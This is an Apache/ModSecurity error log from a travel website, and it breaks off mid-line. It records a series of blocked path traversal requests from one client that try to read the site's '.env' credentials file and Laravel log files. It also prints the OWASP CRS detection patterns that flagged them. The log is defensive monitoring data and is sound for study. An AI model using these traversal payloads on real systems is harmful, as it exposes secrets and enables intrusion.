[Fri Jul 17 08:55:06.754239 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?view=..%2F..%2F..%2F..%2F..%2F.env&extra=ZPjDHOo5jq6piWZtMT9dQxZfDU5LHlY7W_yGPyoZTlssNwfBvk5PgeO7CKRAANBne6rgnM7hLElibgpN7kWA7_4LLDR3MDjXMSN7is0s5gcs4_VZjbI3UbVe8YFkgglJq1EQoPQjXcK4cTVuNMSp-Tt0MwwwMiLMNJ5KgvW7QieD-o6Y3Ky-cawX-9FhW_bwByBdn8pgMpGqbzgT1afQd5ajwGYSmK0dXSoUk0IhFWGsi25UG29GhSmOk8XjXcUCtHUN49-1guc11Zj5b4h7P0cP&ref=QNZRTZOPMPQCYMHFINC2DRIGNTGGBSG5NFSTLQV34VNBLP7BWW3IPVC5IV6QCZDKLJM4PILQNBFH5JVMFPCIJK3NA6HIXBAEWIRC45V2QOAIPB5DFO42FWGZKIAZAOUR..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATwAAAAU"]
[Fri Jul 17 08:55:06.754290 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATwAAAAU"]
[Fri Jul 17 08:55:06.754336 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../../../../.env&extra=ZPjDHOo5jq6piWZtMT9dQxZfDU5LHlY7W_yGPyoZTlssNwfBvk5PgeO7CKRAANBne6rgnM7hLElibgpN7kWA7_4LLDR3MDjXMSN7is0s5gcs4_VZjbI3UbVe8YFkgglJq1EQoPQjXcK4cTVuNMSp-Tt0MwwwMiLMNJ5KgvW7QieD-o6Y3Ky-cawX-9FhW_bwByBdn8pgMpGqbzgT1afQd5ajwGYSmK0dXSoUk0IhFWGsi25UG29GhSmOk8XjXcUCtHUN49-1guc11Zj5b4h7P0cP&ref=QNZRTZOPMPQCYMHFINC2DRIGNTGGBSG5NFSTLQV34VNBLP7BWW3IPVC5IV6QCZDKLJM4PILQNBFH5JVMFPCIJK3NA6HIXBAEWIRC45V2QOAIPB5DFO42FWGZKIAZAOUR3KIJ4HUC2QN2DIYUIT..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATwAAAAU"]
[Fri Jul 17 08:55:06.754365 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../../../../.env&extra=zpjdhoo5jq6piwztmt9dqxzfdu5lhly7w_ygpyoztlssnwfbvk5pgeo7ckraanbne6rgnm7hlelibgpn7kwa7_4lldr3mdjxmsn7is0s5gcs4_vzjbi3ubve8yfkggljq1eqopqjxck4ctvunmsp-tt0mwwwmilmnj5kgvw7qied-o6y3ky-cawx-9fhw_bwbybdn8pgmpgqbzgt1afqd5ajwgysmk0dxsouk0ihfwgsi25ug29ghsmok8xjxcucthun49-1guc11zj5b4h7p0cp&ref=qnzrtzopmpqcymhfinc2drigntggbsg5nfstlqv34vnblp7bww3ipvc5iv6qczdkljm4pilqnbfh5jvmfpcijk3na6hixbaewirc45v2qoaipb5dfo42fwgzkiazaour3kij4huc2qn2diyuit..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATwAAAAU"]
[Fri Jul 17 08:55:06.754388 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATwAAAAU"]
[Fri Jul 17 08:55:06.754413 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATwAAAAU"]
[Fri Jul 17 08:55:06.754836 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mgAAAAw"]
[Fri Jul 17 08:55:06.754946 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.755202 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkol9vhFBGA6D8l95mgAAAAw"]
[Fri Jul 17 08:55:06.755548 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATwAAAAU"]
[Fri Jul 17 08:55:06.755665 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.755914 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhAi3pC6yjXGNq2ATwAAAAU"]
[Fri Jul 17 08:55:06.765657 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUAAAAAU"]
[Fri Jul 17 08:55:06.765705 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUAAAAAU"]
[Fri Jul 17 08:55:06.766898 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUAAAAAU"]
[Fri Jul 17 08:55:06.767051 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.767330 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhAi3pC6yjXGNq2AUAAAAAU"]
[Fri Jul 17 08:55:06.789235 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?view=..%2F..%2Fstorage%2Flogs%2Flaravel.log&token=bno1lINH6JWI1xBHSGnUZvsSQXGaBMDexUO25eu7Be8T3ZlP2_hf8iON4vCTU3wmZdtZXyOamTYy_P3V2ocVX67hyklNyaQ4iKWc6T165bqYvH8K_sPt0UUIKbyeG2gCA0DPtjJHduRsEWOqodziq25si96VOLGOUSWK7c9Et4_3q7pAyhC2BjYOAAey1evyx5qAxJMHCaCpNqUA6fgLgoafy2aQdzk3oiNm6gAKkyrs7MJrX47tSw1simCJFdHmZsc56GCTPPz7qgJYQmamDsBa&ref=KMVNVF3EKZUOM2B27L7GQW7JHXBJX2WL2UMXFP6LONSYJ2FLYSUIQB6HPFKV7J7BQUSKBHSC7VY7XADX2V7SG6OAXHJCEGBOUSCMADLJCEDA7EUJ4LDTADN..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUAAAABI"]
[Fri Jul 17 08:55:06.789300 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUAAAABI"]
[Fri Jul 17 08:55:06.789349 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../storage/logs/laravel.log&token=bno1lINH6JWI1xBHSGnUZvsSQXGaBMDexUO25eu7Be8T3ZlP2_hf8iON4vCTU3wmZdtZXyOamTYy_P3V2ocVX67hyklNyaQ4iKWc6T165bqYvH8K_sPt0UUIKbyeG2gCA0DPtjJHduRsEWOqodziq25si96VOLGOUSWK7c9Et4_3q7pAyhC2BjYOAAey1evyx5qAxJMHCaCpNqUA6fgLgoafy2aQdzk3oiNm6gAKkyrs7MJrX47tSw1simCJFdHmZsc56GCTPPz7qgJYQmamDsBa&ref=KMVNVF3EKZUOM2B27L7GQW7JHXBJX2WL2UMXFP6LONSYJ2FLYSUIQB6HPFKV7J7BQUSKBHSC7VY7XADX2V7SG6OAXHJCEGBOUSCMADLJCEDA7EUJ4LDTADNESHM4YHNDPRVG4GR..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUAAAABI"]
[Fri Jul 17 08:55:06.789376 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../storage/logs/laravel.log&token=bno1linh6jwi1xbhsgnuzvssqxgabmdexuo25eu7be8t3zlp2_hf8ion4vctu3wmzdtzxyoamtyy_p3v2ocvx67hyklnyaq4ikwc6t165bqyvh8k_spt0uuikbyeg2gca0dptjjhdursewoqodziq25si96volgouswk7c9et4_3q7payhc2bjyoaaey1evyx5qaxjmhcacpnqua6fglgoafy2aqdzk3oinm6gakkyrs7mjrx47tsw1simcjfdhmzsc56gctppz7qgjyqmamdsba&ref=kmvnvf3ekzuom2b27l7gqw7jhxbjx2wl2umxfp6lonsyj2flysuiqb6hpfkv7j7bquskbhsc7vy7xadx2v7sg6oaxhjcegbouscmadljceda7euj4ldtadneshm4yhndprvg4gr..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUAAAABI"]
[Fri Jul 17 08:55:06.789396 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUAAAABI"]
[Fri Jul 17 08:55:06.789419 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUAAAABI"]
[Fri Jul 17 08:55:06.790717 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUUAAAABI"]
[Fri Jul 17 08:55:06.790868 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.791201 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUUAAAABI"]
[Fri Jul 17 08:55:06.791707 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?view=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&token=pAdtkb4bR07voZCwDy6kHt5Uy_JmtKKRRKAn7F1CJICgT_9UqbdZMNZD4OY6gl1tq8QUI8Kvo0uai6Uce2oDEvUzcNEtfOeNi6Hq4ZjmgWuucj8rsFXIxbVrhkhoQ8oR4XHGWlhwhGmcS6Xx7rBmJ3lsbYTE1XbjvhVRRz0GjbSJ27KMBHpK3sCV11-sTrUNSXADLMxHT11YlD7fDQ1pDTRrfqhltJ6HZlXfINboZcTO-oKzr70BqnLLBadEzA1cnggxc3ouaX2amo_y3tVuzeAj&junk=BV5B3X4JQUATWEILBIY5G2TTZ5J6GCP4YA6JT4FLJC5VFW3B3Q4NLERZ2C6TXMIPC2IBI2I6C4TSKST6B4XAAHH4OFQDXPD2PKRBCDXOWHCY5L2LV..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mwAAAAw"]
[Fri Jul 17 08:55:06.791762 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mwAAAAw"]
[Fri Jul 17 08:55:06.791808 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../../storage/logs/laravel.log&token=pAdtkb4bR07voZCwDy6kHt5Uy_JmtKKRRKAn7F1CJICgT_9UqbdZMNZD4OY6gl1tq8QUI8Kvo0uai6Uce2oDEvUzcNEtfOeNi6Hq4ZjmgWuucj8rsFXIxbVrhkhoQ8oR4XHGWlhwhGmcS6Xx7rBmJ3lsbYTE1XbjvhVRRz0GjbSJ27KMBHpK3sCV11-sTrUNSXADLMxHT11YlD7fDQ1pDTRrfqhltJ6HZlXfINboZcTO-oKzr70BqnLLBadEzA1cnggxc3ouaX2amo_y3tVuzeAj&junk=BV5B3X4JQUATWEILBIY5G2TTZ5J6GCP4YA6JT4FLJC5VFW3B3Q4NLERZ2C6TXMIPC2IBI2I6C4TSKST6B4XAAHH4OFQDXPD2PKRBCDXOWHCY5L2LVQVZIJNIIV6YUN2YBCY..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag 